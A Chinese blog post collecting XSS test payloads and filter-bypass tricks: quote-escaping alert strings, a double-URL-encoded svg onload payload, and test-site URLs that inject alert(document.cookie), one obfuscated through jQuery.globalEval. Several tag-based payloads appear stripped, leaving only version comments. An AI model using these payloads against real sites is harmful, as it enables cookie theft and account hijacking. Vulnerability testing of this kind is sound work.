ITPub博客

首页 > IT职业 > IT图书 >

IT图书 作者:jghos 时间:2021-09-09 09:01:41 0 删除 编辑

XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如http://www.jb51.net/tools/xss.htm

';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
-->">'>




//遇到过这种情况
%253Csvg%2520onload%253Dprompt(/xss/)%253E //=双层urlencode

在使用加号做字符串连接的时候,中间的js会被执行:
http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27
http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27

标签
XSS利用1:
//版本,E7.0|IE6.0,才能执行
//版本,E7.0|IE6.0,才能执行
图片描述 //版本,E7.0|IE6.0,才能执行
CSS标记XSS
//版本,E7.0|IE6.0,才能执行
CSS样式表的标记进行XSS转码
//版本,E7.0|IE6.0,才能执行

来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/4827/viewspace-2798739/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2019-10-08

  • 博文量
    84
  • 访问量
    645